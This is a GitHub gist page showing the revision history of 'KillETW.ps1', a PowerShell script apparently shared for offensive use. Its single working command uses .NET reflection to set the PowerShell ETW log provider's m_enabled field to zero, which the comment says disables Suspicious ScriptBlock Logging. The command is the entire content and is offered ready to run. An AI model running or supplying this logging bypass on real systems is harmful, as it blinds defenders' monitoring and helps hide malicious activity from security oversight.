Skip to content

Instantly share code, notes, and snippets.

@vysecurity

vysecurity/KillETW.ps1

Forked from tandasat/KillETW.ps1
Created June 10, 2018 12:47
Download ZIP

Revisions

  1. @tandasat tandasat revised this gist Nov 16, 2017. No changes.
  2. @tandasat tandasat revised this gist Nov 16, 2017. No changes.
  3. @tandasat tandasat created this gist Nov 16, 2017.
    6 changes: 6 additions & 0 deletions KillETW.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,6 @@
    #
    # This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
    # which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
    # to bypass Suspicious ScriptBlock Logging for readability.
    #
    [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)